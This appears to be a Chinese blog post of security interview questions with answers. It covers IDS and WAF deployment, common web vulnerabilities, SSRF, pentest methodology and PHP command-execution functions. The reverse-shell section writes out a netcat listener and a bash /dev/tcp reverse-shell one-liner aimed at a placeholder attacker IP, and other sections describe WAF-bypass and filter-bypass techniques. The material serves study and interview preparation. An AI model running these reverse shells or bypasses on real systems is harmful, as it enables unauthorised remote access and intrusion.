一. 目前有防火墙，全流量检测，态势感知，IDS，waf，web服务器等设备，如何搭建一个安全的内网环境，请给出大概拓扑结构 （适用于中高级）
防火墙：应部署在内外网交界处，作为第一道防线，控制进出内网的数据流。
入侵防御系统（IPS）和入侵检测系统（IDS）：通常与防火墙配合使用，IPS应部署在关键子网的入口处，而IDS可以部署在核心交换设备上，以监控整个网络的流量。
Web应用防火墙（WAF）：应部署在Web服务器前，保护Web应用免受SQL注入、跨站脚本攻击等常见网络攻击。
全流量检测：全流量检测设备通常部署在网络的核心交换位置，这样可以确保对所有通过的数据包进行分析。
态势感知系统：态势感知系统是一种更为复杂的安全设备，它不仅需要收集数据，还需要对数据进行深入的分析，以识别潜在的安全威胁和漏洞。因此，态势感知系统的部署位置应该是在数据中心或安全管理中心，这样可以确保有足够的计算资源和存储能力来处理大量的数据。
web服务器：web服务器应放在DMZ区域。
1.1 全流量与态势感知有什么异同
-
概念层面：全流量检测专注于网络通信流量的监测、过滤和分析，主要是为了识别异常流量和潜在的安全威胁。它侧重于网络入侵检测的基础，通过对网络流量的分析，帮助安全人员发现并防范安全威胁。相比之下，态势感知是一个更广泛的概念，不仅包括网络安全，还可能涉及物理安全等方面。它通过收集、分析和处理大量数据，全面了解当前的安全态势，以便及时发现和应对安全威胁。
-
技术手段：全流量检测通常使用特定的工具和技术，如流量探针，来捕获、分析和记录网络数据。这些工具可以提供关于网络流量的详细信息，从而识别出异常流量和潜在的安全威胁。而态势感知则涉及到更多层面的数据处理和分析，可能需要结合大数据技术和系统架构来实现对安全态势的全面理解。
1.2 态势感知与IDS有什么异同
-
功能：IDS主要负责监控网络流量，检测潜在的恶意活动，并在发现异常时发出警报。它可以帮助安全团队识别已知的攻击模式和异常行为。相比之下，态势感知不仅包括实时监控和警告，还包括对网络状态的全面理解，能够分析攻击的目的和手段，并对未来的安全威胁进行预测。
-
作用范围：IDS通常专注于特定的网络部分或点，而态势感知系统则试图提供一个宏观的网络安全防护视图，它整合了来自不同源的数据，包括网络流量、系统日志、威胁情报等，以构建网络的安全态势全景。
-
预防能力：IDS主要是被动的，它不会主动阻止攻击，而是依赖安全人员对警报做出响应。而态势感知系统则更主动，它不仅可以实时检测和响应，还可以通过预测未来的安全趋势来帮助制定防御策略。
总的来说，态势感知提供了比IDS更全面、更深入的网络安全防护。在实际的网络安全架构中，IDS可以作为态势感知系统的一部分，共同为网络环境提供全面的保护。
1.3 你使用过开源的IDS吗，能讲讲IDS分类以及检测攻击原理吗
是的，使用过一些开源的IDS工具，如Snort。
IDS（入侵检测系统）可以按照其检测方式分为两类：基于签名的检测和基于异常的检测。具体如下：
-
基于签名的检测：这种类型的IDS依赖于预先定义的攻击特征库（也称为“规则集”）。系统会检查网络流量中是否存在已知攻击模式或恶意活动的特征。如果发现匹配项，系统将触发警报。这种方法的优点是可以精确识别特定类型的攻击，但缺点是无法检测到未知或变种的攻击。
-
基于异常的检测：这种类型的IDS通过建立正常网络行为的基线模型来工作。任何偏离这一模型的活动都可能被视为潜在的威胁。这种方法的优点是可以检测到未知攻击，但可能会产生较多的误报，因为正常的离群行为也可能被错误地标记为异常。
至于检测攻击的原理，IDS通常会经历以下几个步骤：
-
信息收集：IDS首先收集网络中的数据包、日志文件和其他相关信息。
-
分类检测：然后对收集到的数据进行分析，以识别是否存在可疑活动或异常行为。
-
决策：最后，根据检测结果，IDS可以触发警报、记录事件或采取防御措施。
在实际使用中，开源IDS工具如Snort提供了一个灵活的平台，允许用户根据自己的需求定制规则集和检测策略。Snort支持协议分析、内容搜索等多种检测技术，能够在网络上执行实时流量分析和数据包记录。
总的来说，选择合适的IDS工具需要根据网络环境、安全需求和资源能力来决定。无论是商业产品还是开源解决方案，都应定期更新和维护，以确保能够应对新出现的威胁和挑战。
二. 常见top10漏洞 （初级）
2.1.常见的SQL注入类型有哪些？并写出sqlmap检测SQL注入的命令？
常见的SQL注入类型包括布尔盲注、联合查询注入、文件读写、报错注入、时间盲注、宽字节注入、堆叠注入、二次注入、User-Agent注入和Cookie注入等
使用sqlmap检测SQL注入的基本命令是sqlmap -u URL
2.2、Mongodb、redis、mysql、mssql、oracle、PostgreSQL服务简介和默认运行端口
-
MongoDB：一种文档型数据库，数据以文档形式存储，使用BSON格式。它支持高扩展性、高可用性和分布式多节点部署。MongoDB适用于处理大规模非结构化和半结构化数据。默认运行端口为27017。
-
Redis：一种键值型数据库，数据以键值对形式存储，支持多种数据结构，如字符串、哈希、列表、集合和有序集合等。Redis通常用作缓存系统或消息队列。默认运行端口为6379。
-
MySQL：一种流行的开源关系型数据库管理系统，以其可靠性和广泛的支持而闻名。它提供强大的ACID事务支持，适合需要数据一致性的应用。默认运行端口为3306。
-
Microsoft SQL Server（MSSQL）：微软开发的关系型数据库管理系统，广泛应用于企业级应用中。它提供了丰富的企业级功能，如集成服务、分析服务和报表服务。默认运行端口为1433。
-
Oracle：一种高级的关系型数据库管理系统，以其强大的功能、性能和可扩展性而知名。Oracle数据库适用于复杂的数据处理需求，如联机事务处理、数据仓库和数据分析。默认运行端口为1521。
-
PostgreSQL：一种开源的对象-关系型数据库管理系统，它支持复杂的查询操作和多种数据类型。PostgreSQL以其遵守SQL标准和高度的可扩展性而受到赞誉。默认运行端口为5432。
2.3、写出你知道的逻辑漏洞
-
竞争条件（Race Condition）：当多个进程或线程同时访问和操作共享数据时，由于执行顺序的不确定性，可能导致数据不一致或其他未预期的结果。
-
权限提升（Privilege Escalation）：攻击者利用系统漏洞或配置错误，将自己的权限从较低级别提升到较高级别，从而访问未经授权的资源。
-
信息泄露（Information Disclosure）：由于错误的数据处理或传输，敏感信息可能被未经授权的用户获取。
-
路径遍历（Path Traversal）：攻击者通过提供包含特殊字符的输入，来访问或操作文件系统中的任意文件。
-
不安全的重定向和转发（Unsafe Redirects and Forwards）：应用程序在没有进行适当验证的情况下，将用户重定向或转发到其他页面，可能被用来进行钓鱼攻击或误导用户。
-
不恰当的错误处理（Inappropriate Error Handling）：当应用程序遇到错误时，没有正确处理或记录错误信息，导致敏感信息泄露或系统状态可被恶意利用。
-
注入缺陷（Injection Flaws）：攻击者通过在输入字段中注入恶意代码或命令，影响应用程序的正常逻辑，从而执行未经授权的操作。
-
不安全的密码存储（Insecure Password Storage）：使用弱加密算法或不安全的方法存储密码，导致密码容易被破解。
-
会话管理不当（Poor Session Management）：会话令牌生成、存储或传输不当，导致会话劫持或固定会话攻击。
-
访问控制缺失（Missing Access Control）：没有正确实施访问控制策略，导致未经授权的用户能够访问或操作敏感资源。
-
不安全的直接对象引用（Insecure Direct Object References）：在没有适当授权检查的情况下，直接通过URL或参数访问对象。
-
跨站脚本（Cross-Site Scripting, XSS）：攻击者在网页中注入恶意脚本，当其他用户浏览该网页时，脚本会在其浏览器中执行。
-
跨站请求伪造（Cross-Site Request Forgery, CSRF）：攻击者诱导用户点击链接或执行操作，以用户的身份在不知情的情况下执行未经授权的命令。
-
不充分的日志记录（Insufficient Logging & Monitoring）：缺乏足够的日志记录和监控机制，导致在发生安全事件时无法及时发现或追踪问题。
-
不安全的第三方组件（Using Insecure Third-Party Components）：使用了含有已知漏洞的第三方组件或库，而没有及时更新修复。
2.4、列举Linux的反弹shell的一些方法
-
使用netcat (nc) 反弹shell：攻击者在自己的机器上执行
nc -lvvp port来监听一个端口。在目标主机上执行bash -i >& /dev/tcp/attacker_ip/port 0>&1，这将在目标主机上打开一个交互的bash shell并将其连接到攻击者的监听端口。 -
使用Bash反弹shell：同样，攻击者在自己的机器上设置一个监听端口，然后在目标主机上执行类似于
bash -i >& /dev/tcp/attacker_ip/port 0>&1的命令，以建立一个从目标主机到攻击者机器的shell连接。 -
使用socat反弹shell：socat是一个多功能的网络工具，可以用来创建双向的数据流。通过在攻击者的机器上设置socat监听，并在目标主机上执行相应的socat命令，可以实现shell的反弹。
-
使用telnet反弹shell：这种方法涉及到在攻击者的机器上使用telnet服务，并在目标主机上执行telnet命令来连接到攻击者的telnet服务，从而建立shell会话。
-
使用各种脚本反弹shell：网络上有许多预编写的脚本可以帮助攻击者快速实现反弹shell，这些脚本通常结合了上述提到的工具或其他技巧。
-
使用Metasploit生成反弹shell：Metasploit是一款广泛使用的渗透测试框架，它提供了多种模块来生成反弹shell的有效载荷。
-
Python反弹shell：通过编写Python脚本来实现反弹shell，例如使用socket库创建一个TCP连接，并将标准输入输出错误重定向到该连接，然后调用bash或python的子进程来获取一个交互式终端。
2.5、针对SQL注入，写出你所知道的Bypass WAF的可能的方式（绕过waf）
-
使用编码：对SQL语句进行URL编码、Unicode编码或其他编码方法，以混淆有效载荷。
-
字符串拼接：将SQL语句分解成多个部分，并通过字符串拼接的方式组合起来，有时可以绕过某些过滤规则。
-
注释技巧：在SQL语句中添加注释，有时可以干扰WAF的检测逻辑。
-
使用不同的SQL语法：尝试使用不同的SQL语法达到相同的目的，例如使用联合查询（UNION SELECT）或堆叠查询（Stacked Queries）。
-
混合编码和逻辑：结合多种编码和逻辑技巧，增加有效载荷的复杂性。
-
利用WAF的特定行为：有时WAF的规则可能允许某些特定的参数或模式，可以利用这些特性绕过检测。
-
时间型盲注：如果WAF阻止了明显的错误信息，可以使用基于时间的响应来推断查询结果，从而绕过WAF的检测。
-
HTTP头注入：而不是在HTTP请求的主体中发送有效载荷，可以尝试将其放在HTTP头中。
-
Cookie注入：修改Cookie值来进行SQL注入，有时可以绕过WAF的检测。
-
用户代理（User-Agent）注入：在某些情况下，可以在User-Agent头部中插入SQL注入代码。
-
使用HTTP/HTTPS协议的其他部分：例如，在Host、Referer等字段中尝试注入有效载荷。
-
多层次编码：使用多重编码或层次化编码，例如先URL编码，然后再进行其他编码。
-
使用HTTP/2的特性：HTTP/2协议提供了一些新的特性，可以尝试利用这些特性来绕过WAF。
-
自定义HTTP方法：使用非标准的HTTP方法，如PUT、DELETE等，有时可以绕过WAF的检测。
2.6、简述ssrf原理和利用方式
SSRF（Server-Side Request Forgery，服务器端请求伪造）是一种安全漏洞，允许攻击者利用服务器端的漏洞，使其发送构造好的请求到内网或外部的服务器。原理是利用了Web应用提供的数据获取功能，而没有对目标地址进行适当的过滤和限制。
SSRF的主要利用方式包括：
-
端口扫描：通过让服务器请求特定的网络地址，可以探测内网主机存活情况和端口开放情况。这有助于确定目标网络的布局和潜在的攻击路径。
-
访问内网资源：利用SSRF漏洞可以访问内网中的某些服务，比如FastCGI、Redis等，这些服务可能存储有敏感信息或者存在其他漏洞可供进一步利用。
-
本地文件读取：如果Web应用对URL解析不当，攻击者可能能通过构造特殊的URL来读取服务器上的本地文件。
-
协议利用：除了HTTP外，还可以尝试使用其他协议（如gopher://、dict://等）来与内网应用交互，有时可以绕过某些安全限制。
-
DNS Rebinding攻击：利用DNS重新绑定攻击来绕过同源策略的限制，从而访问一些原本受到保护的资源。
-
读取响应数据：即使无法直接访问目标资源，攻击者也可能通过分析服务器的响应数据来推断出内部系统的信息。
-
短网址和特殊域名利用：在某些情况下，可以通过使用短网址服务或特殊域名（如.xip.io）来绕过对请求URL的限制。
2.7、简述针对一个网站的渗透测试思路
-
信息收集：
-
收集目标网站域名、IP地址、使用的技术和平台信息。
-
利用WHOIS查询获取注册域名的相关信息。
-
使用工具如Nmap、Shodan等扫描开放的端口和服务。
-
-
威胁建模：
-
根据收集到的信息确定可能的攻击路径和目标。
-
分析可能影响组织资产的威胁类型和攻击手法。
-
-
漏洞评估：
-
利用自动化扫描工具（如OWASP ZAP、Nessus、OpenVAS等）对网站进行漏洞扫描。
-
手动检查常见的Web安全问题，如SQL注入、XSS、CSRF、文件上传漏洞、路径遍历等。
-
-
漏洞利用：
-
根据发现的漏洞进行利用尝试，获取数据或系统权限。
-
如果存在脆弱的认证机制，尝试暴力破解、会话劫持等攻击。
-
-
后渗透测试：
-
如果成功获得访问权限，探索内部网络，寻找更多的系统漏洞。
-
收集敏感信息，如用户数据、配置文件、源代码等。
-
尝试提升权限，比如从低权限用户变成管理员账户。
-
-
社会工程学：
-
利用社会工程技巧诱导员工泄露敏感信息或执行恶意操作。
-
通过钓鱼邮件、电话欺骗等方式进行攻击尝试。
-
-
报告编写：
-
记录所有发现的安全漏洞和利用过程。
-
提供详细的分析和修复建议。
-
按照严重性等级对漏洞进行分类。
-
-
清理痕迹：
-
确保渗透测试活动不会对目标系统留下持久的影响或痕迹。
-
删除所有上传的后门或创建的数据。
-
确保恢复所有修改过的系统设置和文件。
-
-
后期复盘：
-
总结渗透测试过程中的成功和失败经验。
-
分析哪些方法和工具是有效的，哪些需要改进。
-
考虑如何在未来提高渗透测试的效率和效果。
-
2.8、针对Web扫描器的爬虫，你怎么进行有效防御
-
限制IP访问：
-
使用防火墙规则限制可疑或恶意IP地址的访问。
-
设置网络层面的限制，如速率限制（Rate Limiting）或阻断模式。
-
-
强化认证机制：
-
实施多因素认证（MFA），增加账户安全性。
-
确保密码策略强且定期更新，防止暴力破解。
-
-
会话管理：
-
使用难以预测的Session ID，避免会话劫持。
-
设置会话超时，并在敏感操作前重新验证用户身份。
-
-
输入验证与过滤：
-
对所有用户输入进行严格的验证，包括类型、格式、长度和范围。
-
对输出数据进行适当的编码或转义，以防止XSS攻击。
-
-
内容安全策略（CSP）：
-
实施CSP来减少跨站脚本（XSS）攻击的风险。
-
定义白名单，限制资源加载和脚本执行。
-
-
使用CAPTCHA：
-
在表单提交和关键操作前使用验证码（如reCAPTCHA），以区分人类用户和自动化工具。
-
-
文件上传安全：
-
对上传的文件进行严格的安全检查，包括文件类型、大小和内容。
-
存储文件时使用不可预测的文件名和路径。
-
-
更新和维护：
-
定期更新Web服务器、应用程序和数据库管理系统的安全补丁。
-
移除不必要的服务和功能，减少攻击面。
-
-
监控和日志记录：
-
实施详细的访问和异常日志记录，以便及时发现可疑行为。
-
使用入侵检测系统（IDS）和安全信息事件管理（SIEM）工具来监控网络流量和系统活动。
-
-
混淆和变化：
-
定期更改网页结构和查询参数，使自动化工具难以适应。
-
使用动态令牌或隐藏字段来防止自动表单填充。
-
-
教育员工：
-
对员工进行安全意识培训，使他们能够识别和应对潜在的威胁。
-
建立安全文化，鼓励员工报告可疑活动。
-
-
应用层防火墙（WAF）：
-
部署WAF来帮助检测和阻止已知的攻击模式和漏洞利用。
-
2.9、简述PHP中造成命令执行的常见函数，以及常规绕过思路
在进行PHP渗透测试时，命令执行漏洞是攻击者常利用的安全缺陷之一。以下是一些在PHP中可能导致命令执行的常见函数：
-
eval(): 该函数会将传入的字符串作为PHP代码执行。
-
assert(): 此函数把传入的参数当作PHP代码执行，不需要以分号结尾。
-
call_user_func() 和 call_user_func_array(): 这两个函数可以调用用户定义的函数，如果结合其他漏洞可能导致命令执行。
-
create_function(): 此函数用于动态创建匿名函数，同样存在代码执行风险。
-
array_map()、array_filter()、uasort(): 这些函数在处理回调函数时存在代码执行的风险。
-
preg_replace(): 如果使用
/e修饰符，可以将正则表达式匹配到的字符替换为执行的代码。 -
system()、exec()、passthru()、pcntl_exec(): 这些函数直接执行系统命令。
对于这些函数的常规绕过思路，包括但不限于以下几种方法：
-
字符串拼接: 通过字符串拼接构造恶意输入来绕过过滤规则。
-
编码转换: 使用不同的编码方式对输入进行编码，尝试绕过过滤逻辑。
-
特殊字符利用: 有时通过特殊字符如';'、'&'等字符的组合可以绕过简单的过滤机制。
-
进制转换: 利用不同进制之间的转换来绕过基于特定数值的过滤。
-
弱比较: 利用PHP中的弱比较特性，例如
intval()在处理数组类型时不关心数组内容只判断是否有元素，这可能被用来绕过某些类型的检查。
6500
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
